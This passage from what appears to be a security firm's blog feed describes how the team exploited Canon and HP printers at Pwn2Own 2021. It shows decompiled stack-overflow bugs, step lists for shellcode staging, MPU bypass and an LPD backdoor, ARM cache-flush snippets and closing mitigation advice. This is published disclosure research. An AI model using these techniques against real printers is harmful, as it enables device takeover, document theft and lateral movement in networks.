<span class="n">v13</span> <span class="o">=</span> <span class="n">v10</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span> <span class="n">v14</span> <span class="o">=</span> <span class="n">v13</span> <span class="o">-</span> <span class="sc">'0'</span><span class="p">;</span> <span class="n">v15</span> <span class="o">=</span> <span class="n">v13</span> <span class="o">-</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="sc">'0'</span> <span class="o">&gt;</span> <span class="mi">9</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v13</span> <span class="o">-</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="sc">'0'</span> <span class="o">&gt;</span> <span class="mi">9</span> <span class="p">)</span> <span class="n">v15</span> <span class="o">=</span> <span class="n">v13</span> <span class="o">-</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="sc">'A'</span> <span class="o">&gt;</span> <span class="mi">5</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v15</span> <span class="o">&amp;&amp;</span> <span class="n">v13</span> <span class="o">-</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="sc">'a'</span> <span class="o">&gt;</span> <span class="mi">5</span> <span class="p">)</span> <span class="k">return</span> <span class="o">-</span><span class="mi">4</span><span class="p">;</span> <span class="n">v16</span> <span class="o">=</span> <span class="n">v10</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span> <span class="n">v17</span> <span class="o">=</span> <span class="n">v16</span> <span class="o">-</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="sc">'0'</span> <span class="o">&gt;</span> <span class="mi">9</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v16</span> <span class="o">-</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="sc">'0'</span> <span class="o">&gt;</span> <span class="mi">9</span> <span class="p">)</span> <span class="n">v17</span> <span class="o">=</span> <span class="n">v16</span> <span class="o">-</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="sc">'A'</span> <span class="o">&gt;</span> <span class="mi">5</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v17</span> <span class="o">&amp;&amp;</span> <span class="n">v16</span> <span class="o">-</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="sc">'a'</span> <span class="o">&gt;</span> <span class="mi">5</span> <span class="p">)</span> <span class="k">return</span> <span class="o">-</span><span class="mi">4</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v14</span> <span class="o">&lt;=</span> <span class="mi">9</span> <span class="p">)</span> <span class="n">v18</span> <span class="o">=</span> <span class="mh">0x10</span> <span class="o">*</span> <span class="n">v14</span><span class="p">;</span> <span class="k">else</span> <span class="n">v18</span> <span class="o">=</span> <span class="n">v13</span> <span class="o">-</span> <span class="mh">0x37</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v14</span> <span class="o">&gt;</span> <span class="mi">9</span> <span class="p">)</span> <span class="n">v18</span> <span class="o">*=</span> <span class="mh">0x10</span><span class="p">;</span> <span class="o">*</span><span class="n">destbuf</span> <span class="o">=</span> <span class="n">v18</span><span class="p">;</span> <span class="c1">//-------------------[2]</span> <span class="n">v19</span> <span class="o">=</span> <span class="n">v10</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span> <span class="n">v10</span> <span class="o">+=</span> <span class="mi">2</span><span class="p">;</span> <span class="n">v20</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)(</span><span class="n">v19</span> <span class="o">-</span> <span class="mh">0x30</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">9</span> <span class="o">?</span> <span class="p">(</span><span class="n">v19</span> <span class="o">-</span> <span class="mi">55</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xF</span> <span class="o">|</span> <span class="o">*</span><span class="n">destbuf</span> <span class="o">:</span> <span class="o">*</span><span class="n">destbuf</span> <span class="o">|</span> <span class="p">(</span><span class="n">v19</span> <span class="o">-</span> <span class="mh">0x30</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xF</span><span class="p">;</span> <span class="o">*</span><span class="n">destbuf</span> <span class="o">=</span> <span class="n">v20</span><span class="p">;</span> <span class="n">LOWORD</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="o">=</span> <span class="n">i</span> <span class="o">-</span> <span class="mi">2</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">strchr</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="s">"(),</span><span class="se">\\</span><span class="s">!&lt;=&gt;~;*+"</span><span class="p">,</span> <span class="o">*</span><span class="n">destbuf</span><span class="p">)</span> <span class="p">)</span> <span class="p">{</span> <span class="n">v21</span> <span class="o">=</span> <span class="o">*</span><span class="n">destbuf</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v21</span> <span class="o">&gt;</span> <span class="mh">0x1F</span> <span class="o">&amp;&amp;</span> <span class="n">v21</span> <span class="o">!=</span> <span class="mh">0x7F</span> <span class="p">)</span> <span class="k">return</span> <span class="o">-</span><span class="mi">4</span><span class="p">;</span> <span class="p">}</span> <span class="k">goto</span> <span class="n">LABEL_40</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span> <span class="n">strchr</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="s">"(),</span><span class="se">\\</span><span class="s">!&lt;=&gt;~;*+"</span><span class="p">,</span> <span class="n">v12</span><span class="p">)</span> <span class="p">)</span> <span class="c1">//-----------------------[3]</span> <span class="k">return</span> <span class="o">-</span><span class="mi">4</span><span class="p">;</span> <span class="n">v22</span> <span class="o">=</span> <span class="o">*</span><span class="n">v10</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v22</span> <span class="o">&lt;=</span> <span class="mh">0x1F</span> <span class="o">||</span> <span class="n">v22</span> <span class="o">==</span> <span class="mh">0x7F</span> <span class="p">)</span> <span class="k">return</span> <span class="o">-</span><span class="mi">4</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v22</span> <span class="o">!=</span> <span class="sc">' '</span> <span class="p">)</span> <span class="p">{</span> <span class="n">v8</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="k">goto</span> <span class="n">LABEL_35</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">v8</span> <span class="p">)</span> <span class="p">{</span> <span class="n">v8</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="nl">LABEL_35:</span> <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int16</span><span class="p">)</span><span class="o">*</span><span class="n">max</span> <span class="o">&lt;=</span> <span class="n">idx</span> <span class="p">)</span> <span class="c1">//----------------------[4] </span> <span class="p">{</span> <span class="n">error</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="k">goto</span> <span class="n">next_one</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v8</span> <span class="p">)</span> <span class="n">LOBYTE</span><span class="p">(</span><span class="n">v22</span><span class="p">)</span> <span class="o">=</span> <span class="mi">32</span><span class="p">;</span> <span class="o">*</span><span class="n">destbuf</span> <span class="o">=</span> <span class="n">v22</span><span class="p">;</span> <span class="nl">LABEL_40:</span> <span class="o">++</span><span class="n">destbuf</span><span class="p">;</span> <span class="n">idx</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int16</span><span class="p">)(</span><span class="n">idx</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="nl">next_one:</span> <span class="o">++</span><span class="n">v10</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span> <span class="n">error</span> <span class="p">)</span> <span class="p">{</span> <span class="o">*</span><span class="n">max</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">debugprintff</span><span class="p">(</span><span class="mi">3645</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="s">"Scope longer than buffer provided"</span><span class="p">);</span> <span class="nl">LABEL_48:</span> <span class="o">*</span><span class="n">pdata</span> <span class="o">=</span> <span class="n">v10</span><span class="p">;</span> <span class="o">*</span><span class="n">pdatalen</span> <span class="o">=</span> <span class="n">i</span><span class="p">;</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span> <span class="n">idx</span> <span class="p">)</span> <span class="p">{</span> <span class="o">*</span><span class="n">max</span> <span class="o">=</span> <span class="n">idx</span><span class="p">;</span> <span class="k">goto</span> <span class="n">LABEL_48</span><span class="p">;</span> <span class="p">}</span> <span class="k">return</span> <span class="o">-</span><span class="mi">4</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>可以看到 <code class="language-plaintext highlighter-rouge">[3]</code> 針對是沒有跳脫字元的處理,會在 <code class="language-plaintext highlighter-rouge">[4]</code> 檢查是否有超過最大長度,然而在有跳脫字元的處理中 <code class="language-plaintext highlighter-rouge">[1]</code> ,並沒有任何對長度的檢查,直接將轉換後的結果放到 destination buffer 中 <code class="language-plaintext highlighter-rouge">[2]</code>,一旦給定的字串多數為跳脫字元的情況,就會造成 stack overflow。</p> <p>在找到漏洞之後,第一件事就是先看看本身有甚麼保護,方便後續的利用。但分析了一下發現,Canon 印表機本身並沒有任何記憶體相關的保護。</p> <h4 id="protection">Protection</h4> <ul> <li>No Stack Guard</li> <li>No DEP</li> <li>No ASLR</li> </ul> <p>沒有 Stack Guard、沒有 DEP 也沒有 ASLR,可以說是 <strong>hacker friendly</strong> ! 如同回到 90 年代,一個 stack overflow 就可以打天下。接下來就如同過往的 Binary Exploitation 利用手法,找個地方放 shellcode 再覆蓋 return address 跳到 shellcode 就會有任意程式碼執行了! 最終我們找到了 BJNP 這個服務來放我們的 shellcode。</p> <h4 id="bjnp">BJNP</h4> <p>BJNP 本身也是個服務發現協定,由 Canon 自己所設計,過去也曾經有許多漏洞,<a href="https://www.synacktiv.com/publications/treasure-chest-party-quest-from-doom-to-exploit.html">Synacktiv</a> 也曾經利用該協定漏洞來獲得印表機控制權,這邊不多做細節上的介紹,更多細節可參考<a href="https://doar-e.github.io/blog/2022/06/11/pwn2own-2021-canon-imageclass-mf644cdw-writeup/#bjnp">這篇</a>,我們也用了類似的手法。 BJNP 本身會將可控的 session 資料放在已知的 global buffer 中,我們可用這個功能來將我們的 shellcode 放到一個固定的位置上,基本上也沒甚麼限制。</p> <p>我們重新整理一下利用步驟</p> <h4 id="exploitation-step">Exploitation Step</h4> <ul> <li>使用 BJNP 將我們的 shellcode 放到固定的已知位置。</li> <li>觸發 SLP 的 stack overflow 並覆蓋 return address</li> <li>跳到我們的 shellcode 上執行程式碼。</li> </ul> <h4 id="pwn2own-austin-2021-1">Pwn2Own Austin 2021</h4> <p>通常 Pwn2Own 中會需要你證明已打下印表機,這邊可以自由選擇呈現方式,我們起初想要的是如同我們 exploit Lexmark 印表機一樣,直接將 logo 放到印表機的 LCD 螢幕上。</p> <p><img src="/assets/img/blog/20231005/16.jpg" alt="" /></p> <p>但在比賽前,我們花了很多時間在研究該怎麼把 logo 印到螢幕上,花在這邊時間可能比找洞跟寫 exploit 時間還要長,最後也因為時間上的因素,採取了比較保險的做法,直接改掉 <a href="https://doar-e.github.io/blog/2022/06/11/pwn2own-2021-canon-imageclass-mf644cdw-writeup/#service-mode">Service Mode</a> 字串,再印到螢幕上。</p> <p><img src="/assets/img/blog/20231005/17.jpg" alt="" /></p> <p>不過實際上印圖片到螢幕上並不難,其他隊伍有找到<a href="https://doar-e.github.io/blog/2022/06/11/pwn2own-2021-canon-imageclass-mf644cdw-writeup/#displaying-an-image">方法</a>,有興趣的人可以嘗試看看。</p> <iframe width="560" height="315" src="https://www.youtube.com/embed/vQbQImZ3XRw?start=18400" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe> <h4 id="debug">Debug</h4> <p>看到這邊可能會有人想問這種環境如何 debug,實際上來說要 debug 通常有幾種方法:</p> <ul> <li>接上硬體獲得 debug console 後,用裡面的功能來 debug</li> <li>用舊的洞獲得程式碼執行後,裝上客製的 debugger</li> </ul> <p>不過我們當時已更新到最新,該版本不存在舊的漏洞,需要降版本回去,而拆解硬體同樣也須額外的時間,但當時我們已經有漏洞了,時間上來說不太合成本。最後我們還是採用最傳統的 sleep debug 法去 debug。</p> <p><img src="/assets/img/blog/20231005/18.jpg" alt="" /></p> <p>在 ROP 或執行 shellcode 後,將結果印到網頁或其他可見的地方,然後呼叫 sleep 後,就可從網頁或其他讀出結果,最後再重開機,接下來就是不斷重複此流程。不過實際上更好的做法還是接上 debug console 會方便一點。</p> <p>接下來講講 HP 印表機</p> <h3 id="hp-1">HP</h3> <h4 id="link-local-multicast-name-resolution">Link-Local Multicast Name Resolution</h4> <p><a href="https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution">LLMNR</a> 是與 mDNS 非常相似的一個協定,提供了區網中的域名解析功能,但比 mDNS 更單純一點,通常也會配合一些服務發現協定。這邊簡單介紹此機制:</p> <p>在區網域名解析時,Client A 會先用 multicast 方式,尋找區網中 Client C 位置 <img src="/assets/img/blog/20231005/19.jpg" alt="" /></p> <p>在 Client C 接收到之後,則會回傳給 Client A,簡單實現了區網域名的解析 <img src="/assets/img/blog/20231005/20.jpg" alt="" /></p> <p>而基本上 LLMNR 大多建立在 <a href="https://datatracker.ietf.org/doc/html/rfc4795#section-2.1.1">DNS 封包格式</a> 上,格式如下:</p> <p><img src="/assets/img/blog/20231005/21.jpg" alt="" /></p> <p>主要會是 header 加上 Queries 這種格式,Count 表示不同型態的 query 數。</p> <p><img src="/assets/img/blog/20231005/22.jpg" alt="" /></p> <p>而每個 DNS Query 都是由許多 label 組成,每個 label 都會像上圖中這樣,都是長度加上字串的組合,也有 <a href="https://www.rfc-editor.org/rfc/rfc1035#section-4.1.4">Message Compression</a> 機制,過去在處理這些地方時,非常容易出現問題,在 BlackHat 2021 的 <a href="https://i.blackhat.com/asia-21/Thursday-Handouts/as-21-dosSantos-The-Cost-of-Complexity-Different-Vulnerabilities-While-Implementing-the-Same-RFC.pdf">THE COST OF COMPLEXITY:Different Vulnerabilities While Implementing the Same RFC</a> 中,也提到了類似的問題。</p> <h4 id="vulnerability-1">Vulnerability</h4> <p>我們回頭來看一下 HP 的實作:</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">llmnr_process_query</span><span class="p">(...){</span> <span class="kt">char</span> <span class="n">result</span><span class="p">[</span><span class="mi">292</span><span class="p">];</span> <span class="n">consume_labels</span><span class="p">(</span><span class="n">llmnr_packet</span><span class="o">-&gt;</span><span class="n">qname</span><span class="p">,</span><span class="n">result</span><span class="p">,...);</span> <span class="p">...</span> <span class="p">}</span> </code></pre></div></div> <p>這邊可以看到 HP 在處理 LLMNR 封包時,會將一個固定 buffer 傳入,用來放處理後的結果,而 consume_lables 則是主要用來處理 dns labels。</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__fastcall</span> <span class="nf">consume_labels</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">src</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">dst</span><span class="p">,</span> <span class="n">llmnr_hdr</span> <span class="o">*</span><span class="n">a3</span><span class="p">)</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">v3</span><span class="p">;</span> <span class="c1">// r5</span> <span class="kt">int</span> <span class="n">v4</span><span class="p">;</span> <span class="c1">// r12</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">len</span><span class="p">;</span> <span class="c1">// r3</span> <span class="kt">int</span> <span class="n">v6</span><span class="p">;</span> <span class="c1">// r4</span> <span class="kt">char</span> <span class="n">v7</span><span class="p">;</span> <span class="c1">// r6</span> <span class="kt">bool</span> <span class="n">v8</span><span class="p">;</span> <span class="c1">// cc</span> <span class="kt">int</span> <span class="n">v9</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="n">chr</span><span class="p">;</span> <span class="c1">// r6</span> <span class="kt">int</span> <span class="n">result</span><span class="p">;</span> <span class="c1">// r0</span> <span class="n">v3</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">v4</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">len</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">v6</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="k">while</span> <span class="p">(</span> <span class="mi">1</span> <span class="p">)</span> <span class="p">{</span> <span class="n">chr</span> <span class="o">=</span> <span class="n">src</span><span class="p">[</span><span class="n">v3</span><span class="p">];</span> <span class="c1">//-------------[1]</span> <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">chr</span> <span class="p">)</span> <span class="k">break</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">len</span> <span class="o">&lt;=</span> <span class="mi">0</span> <span class="p">)</span> <span class="p">{</span> <span class="n">v8</span> <span class="o">=</span> <span class="n">chr</span> <span class="o">&lt;=</span> <span class="mh">0xC0u</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">chr</span> <span class="o">==</span> <span class="mh">0xC0</span> <span class="p">)</span> <span class="p">{</span> <span class="n">v9</span> <span class="o">=</span> <span class="n">src</span><span class="p">[</span><span class="n">v3</span> <span class="o">+</span> <span class="mi">1</span><span class="p">];</span> <span class="n">v6</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">v3</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">src</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">a3</span> <span class="o">+</span> <span class="n">v9</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">len</span> <span class="o">=</span> <span class="n">src</span><span class="p">[</span><span class="n">v3</span><span class="o">++</span><span class="p">];</span> <span class="n">v8</span> <span class="o">=</span> <span class="n">v4</span> <span class="o">&lt;=</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">v8</span> <span class="p">)</span> <span class="n">dst</span><span class="p">[</span><span class="n">v4</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'.'</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">v7</span> <span class="o">=</span> <span class="n">src</span><span class="p">[</span><span class="n">v3</span><span class="o">++</span><span class="p">];</span> <span class="n">len</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span><span class="p">)(</span><span class="n">len</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span> <span class="n">dst</span><span class="p">[</span><span class="n">v4</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">v7</span><span class="p">;</span> <span class="c1">//----------[2]</span> <span class="p">}</span> <span class="p">}</span> <span class="n">result</span> <span class="o">=</span> <span class="n">v3</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span> <span class="n">dst</span><span class="p">[</span><span class="n">v4</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v6</span> <span class="p">)</span> <span class="k">return</span> <span class="mi">2</span><span class="p">;</span> <span class="k">return</span> <span class="n">result</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>而在 consume_labels 中的 <code class="language-plaintext highlighter-rouge">[1]</code> 會先取得 label 長度,接著根據型態去處理,而在<code class="language-plaintext highlighter-rouge">[2]</code> 則是處理一般長度的情況,此處並<strong>沒有對長度做檢查</strong>,就直接將 label 寫進 dst buffer 中,導致了 stack overflow,到此處我們原以為差不多結束了,接下來應該如同 Canon 類似的方法就可以 Exploit 了。然而當我們在寫 Exploit 時發現 HP 比 Canon 多了一些保護機制。</p> <h4 id="protection-1">Protection</h4> <ul> <li>No Stack Guard</li> <li><strong>XN(DEP)</strong></li> <li><strong>Memory Protect Unit (MPU)</strong></li> <li>No ASLR</li> </ul> <p>在 HP 印表機中,多了 XN 及 MPU 的記憶體保護措施,另外這個漏洞也有了更多的限制。我們<strong>只能 overflow 約 0x100 bytes</strong> 及<strong>不能有 null 字元</strong>,這大幅限制了我們的 ROP,使得我們沒辦法單靠 ROP 做到後續行動,需要另外找其他的漏洞或其他方法才能達成我們的目標。在一段時間後,我們開始思考,HP 印表機是如何去實作 <strong>XN(DEP)</strong> 及 <strong>MPU</strong> 的? 我們回顧一下 HP RTOS:</p> <ul> <li>所有 Service code 及 Kernel Code 都在同一個 Binary 中。</li> <li>大多數的 task 都跑在同一個記憶體空間底下(沒有 Process isolation),也幾乎都跑在高權限模式</li> </ul> <p>看完以上兩點,會想到是不是理解 HP RTOS 中的 MMU 及 MPU 就可以繞過呢?</p> <p>我們來看一下 HP RTOS MMU 機制</p> <h4 id="mmu-in-hp-m283fdw">MMU in HP M283fdw</h4> <p>在 HP M283fdw 中使用的是一階層的 Translation table 來做 Address translation ,每個 translation table entry 都表示 1MB 的 Section,而 Translation table 則是<strong>固定在 0x4003c000</strong> 這個位置上</p> <p><img src="/assets/img/blog/20231005/23.jpg" alt="" /></p> <p>而每個 translation table entry 都會對應到 physical address 及該 section 的權限,CPU 就是根據這些內容決定執行權限、記憶體內容修改權限,如果我們可以修改 translation table entry 的內容就可以更改記憶體權限,也可以透過它來 Mapping 任意 Physical address,這邊跟權限有關的主要會有 AP APX 跟 XN。</p> <p><img src="/assets/img/blog/20231005/24.jpg" alt="" /></p> <p>我們可以從前述的漏洞中注意到,在有 stack overflow 且也跑在高權限下,就可通過 ROP 修改 translation table entry,但當我們對嘗試直接對 translation table 做寫入後,結果</p> <p><img src="/assets/img/blog/20231005/25.jpg" alt="" /></p> <p>造成印表機 Crash,查了一下發現是 memory fault exception,主要造成原因就是因為 Memory Protect Unit (MPU) 有對該記憶體區段做保護。</p> <p>好,那我們就來看看 MPU 的機制。</p> <h4 id="mpu-in-hp-m283fdw">MPU in HP M283fdw</h4> <p><a href="https://en.wikipedia.org/wiki/Memory_protection_unit">MPU</a> 主要功能是把 memory 拆分成好幾個 region 並定義每個 region 的權限,與 MMU 是完全不同的機制,很常出現在 IoT 設備中。 HP 則是在開機就會啟用,並將每個 region 定義好權限,因此無法自己操作 page table。</p> <p><img src="/assets/img/blog/20231005/26.jpg" alt="" /></p> <p>在長時間逆向及參考 <a href="https://developer.arm.com/documentation/ddi0403/d/System-Level-Architecture/System-Address-Map/Protected-Memory-System-Architecture--PMSAv7/Register-support-for-PMSAv7-in-the-SCS?lang=en#BEHJFJDI">ARM Manual</a> 之後,我們發現事實上只要清空 MPU_CTRL 就可關閉 MPU,在經過逆向後 HP M283fdw 的 MPU_CTRL 位置是在 0xE0400304,這邊稍微跟 ARM 的 spec 有點不同,不太確定原因就是了。</p> <p><img src="/assets/img/blog/20231005/27.jpg" alt="" /></p> <h4 id="exploitation">Exploitation</h4> <p>在了解 HP 的 MMU 及 MPU 機制後,我們可輕易地利用 ROP 來關閉 MPU,並成功修改 translation table entry,我們可以任意的修改任何 serivce 的程式碼,這邊我們最後選擇了 <a href="https://en.wikipedia.org/wiki/Line_Printer_Daemon_protocol">Line Printer Daemon(LPD)</a> 這個服務來修改,將它修改成後門: 讀入更多的 Payload 到指定的位置上,最終執行我們送過去的 shellcode。</p> <p>但有一點必須特別注意,覆蓋完 translation table entry 跟 LPD 的 code 後,務必要 <strong>flush TLB</strong> 跟<strong>清掉 I-cache 和 D-cache</strong> 不然很有可能還是跑在舊有的程式碼上面導致 exploit 失敗。</p> <p>Flush TLB</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>flush_tlb: mov r12, #0 mcr p15, 0, r12, c8, c7, 0 </code></pre></div></div> <p>Invalidate I-cache</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>disable_icache: mrc p15, 0, r1, c1, c0, 0 bic r1, r1, #(1 &lt;&lt; 12) mcr p15, 0, r1, c1, c0, 0 </code></pre></div></div> <p>我們重新整理了一下利用步驟</p> <h4 id="exploitation-step-1">Exploitation Step</h4> <ul> <li>首先先觸發 LLMNR 的 stack overflow</li> <li>利用有限的 ROP 關閉 MPU</li> <li>利用 ROP 改掉 translation table entry 獲得讀寫執行權限</li> <li>Flush TLB</li> <li>改掉 LPD service 的程式碼</li> <li>清掉 I-cache 和 D-cache</li> <li>使用改過的 LPD 讀我們的 shellcode 後並執行</li> </ul> <h4 id="pwn2own-austin-2021-2">Pwn2Own Austin 2021</h4> <p>到可以執行 shellcode 時,我們只剩一週時間,我們最後選擇跟 Canon 一樣使用改字串顯示 <code class="language-plaintext highlighter-rouge">Pwned by DEVCORE</code> 到 LCD 上。</p> <p><img src="/assets/img/blog/20231005/28.jpg" alt="" /></p> <p>而幸運的是,我們第一次嘗試就成功了:)</p> <iframe width="560" height="315" src="https://www.youtube.com/embed/vQbQImZ3XRw?start=29093" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe> <p>在這之後我們也嘗試了直接把後門改成 debug console 上面,方便利用許多功能,例如查看記憶體資訊,播放音樂等等功能,<a href="https://twitter.com/fsecurelabs">F-Secure Labs</a> 在比賽時就使用播放音樂這個功能來呈現,非常有趣,可以到<a href="https://youtu.be/c82uFBdTvII?t=1263">這裡</a>看當時的情況。</p> <iframe width="560" height="315" src="https://www.youtube.com/embed/S9TkvaAmyMw" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe> <h3 id="result">Result</h3> <p>在 Pwn2Own Austin 2021 中,我們打下其他設備跟印表機後最終獲得了第二名,以這次來說獲得不錯經驗,也學到了一些新東西。</p> <p><img src="/assets/img/blog/20231005/29.jpg" alt="" /></p> <p>而對於一般用戶們,有什麼方法可以避免印表機被當作攻擊目標甚至是跳板呢?</p> <h2 id="mitigation">Mitigation</h2> <h3 id="update">Update</h3> <p>首先就是定期更新,上述的印表機都已有 patch,這邊是很常被大家忽略的一部分,我們很常看到印表機好幾年了都沒更新,甚至直接預設密碼放著,很容易就被當成目標。</p> <h3 id="disable-unused-service">Disable unused service</h3> <p>另外一點就是盡可能關掉沒在用的服務, 大部分的印表機預設開啟過多平常根本不會用的服務,我們甚至認為可以關掉 discovery 服務,只要開你要用的就好了。</p> <h3 id="firewall">Firewall</h3> <p>更好的做法可以再加上 firewall,大部分印表機也都有提供相關功能。</p> <h2 id="summary">Summary</h2> <p>事實上,我們獲得 shellcode 執行後,除了印東西在 LCD 外,我們可以藉由印表機來竊取機密資訊,不論是機密文件或是一些 credential,印表機也是個平行移動 (Lateral Movement) 的點,而且很難被偵測到,是紅隊中非常好的目標。另外很多印表機上的發現服務系列的協定或是 DNS 系列的協定很常出問題,如果想找類似印表機或其他 IoT 設備的漏洞,也許可以優先朝這個方向看看。</p> <h2 id="to-be-continue">To be continue</h2> <p>最後,我們在去年 <a href="https://www.thezdi.com/blog/2022/8/29/announcing-pwn2own-toronto-2022-and-introducing-the-soho-smashup">Pwn2Own Toronto 2022</a> 中,也在印表機系列中找到幾個漏洞,我們也將會在近期發佈詳細資訊,敬請期待 Part II</p> <h2 id="reference">Reference</h2> <ul> <li><a href="https://labs.withsecure.com/assets/BlogFiles/Printing-Shellz.pdf">https://labs.withsecure.com/assets/BlogFiles/Printing-Shellz.pdf</a></li> <li><a href="https://foxglovesecurity.com/2017/11/20/a-sheep-in-wolfs-clothing-finding-rce-in-hps-printer-fleet/">https://foxglovesecurity.com/2017/11/20/a-sheep-in-wolfs-clothing-finding-rce-in-hps-printer-fleet/</a></li> <li><a href="https://research.checkpoint.com/2018/sending-fax-back-to-the-dark-ages/">https://research.checkpoint.com/2018/sending-fax-back-to-the-dark-ages/</a></li> </ul> https://devco.re/blog/2023/10/05/your-printer-is-not-your-printer-hacking-printers-pwn2own-part1/ https://devco.re/blog/2023/10/05/your-printer-is-not-your-printer-hacking-printers-pwn2own-part1 Thu, 05 Oct 2023 00:00:00 +0800 Your printer is not your printer ! - Hacking Printers at Pwn2Own Part I <p><a href="/blog/2023/10/05/your-printer-is-not-your-printer-hacking-printers-pwn2own-part1-en/">English Version</a>, <a href="/blog/2023/10/05/your-printer-is-not-your-printer-hacking-printers-pwn2own-part1/">中文版本</a></p> <p>Printer has become one of the essential devices in the corporate intranet in the past few years, and its functionalities have also increased significantly. Not only printing or faxing, cloud printing services like AirPrint are also supported to make it easier to use. Direct printing from mobile devices is now a basic requirement in the IoT era. We also use it to print some internal business documents of the company, which makes it even more important to keep the printer secure.</p> <p>In 2021, we found Pre-auth RCE vulnerabilities(<a href="https://www.zerodayinitiative.com/advisories/ZDI-22-515/">CVE-2022-24673</a> and <a 